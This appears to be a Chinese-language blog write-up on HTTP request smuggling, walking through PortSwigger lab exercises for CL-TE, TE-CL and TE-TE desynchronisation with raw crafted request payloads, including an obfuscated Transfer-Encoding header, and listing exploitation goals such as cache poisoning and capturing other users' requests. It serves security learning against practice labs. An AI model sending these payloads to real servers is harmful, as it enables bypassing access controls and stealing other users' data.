HTTP請求走私漏洞原理學習
VSole2022-01-09 22:19:32
0x00 簡介
HTTP請求走私是一種干擾網站處理HTTP請求序列方式的技術。如下場景

主要發生于前端服務器和后端服務器對客戶端傳入的數據理解不一致的情況。
主要包含如下三種情況
- CLTE:前端服務器使用 Content-Length頭,后端服務器使用 Transfer-Encoding頭
- TECL:前端服務器使用 Transfer-Encoding標頭,后端服務器使用 Content-Length標頭。
- TETE:前和后端服務器都支持 Transfer-Encoding 標頭,但是可以通過以某種方式來誘導其中一個服務器不處理它。
0x01 CL-TE方式
https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te
題目要求構造一個GPOST的方法
首先去掉repeater模塊的自動更新

兩個http頭設置,Connection: keep-alive,Transfer-Encoding: chunked
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked 0 G
發送兩次該數據包,成功構造了一個GPOST方法

0x02 TE-CL方式
https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
具體報文
POST / HTTP/1.1 Host: your-lab-id.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0

需要注意上圖,最后的0d,0a。
0x03 TE-TE方式
https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header
具體報文
POST / HTTP/1.1 Host: acd21fad1f3a4c6e80a22a7a004f0077.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked Transfer-encoding: cow 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0

0x04 漏洞利用
- 繞過前置服務器的安全限制
- 獲取前置服務器修改過的請求字段
- 獲取其他用戶的請求
- 反射型 XSS 組合拳
- 將 on-site 重定向變為開放式重定向
- 緩存投毒
- 緩存欺騙
0x05 參考文章
https://xz.aliyun.com/t/7501
VSole
網絡安全專家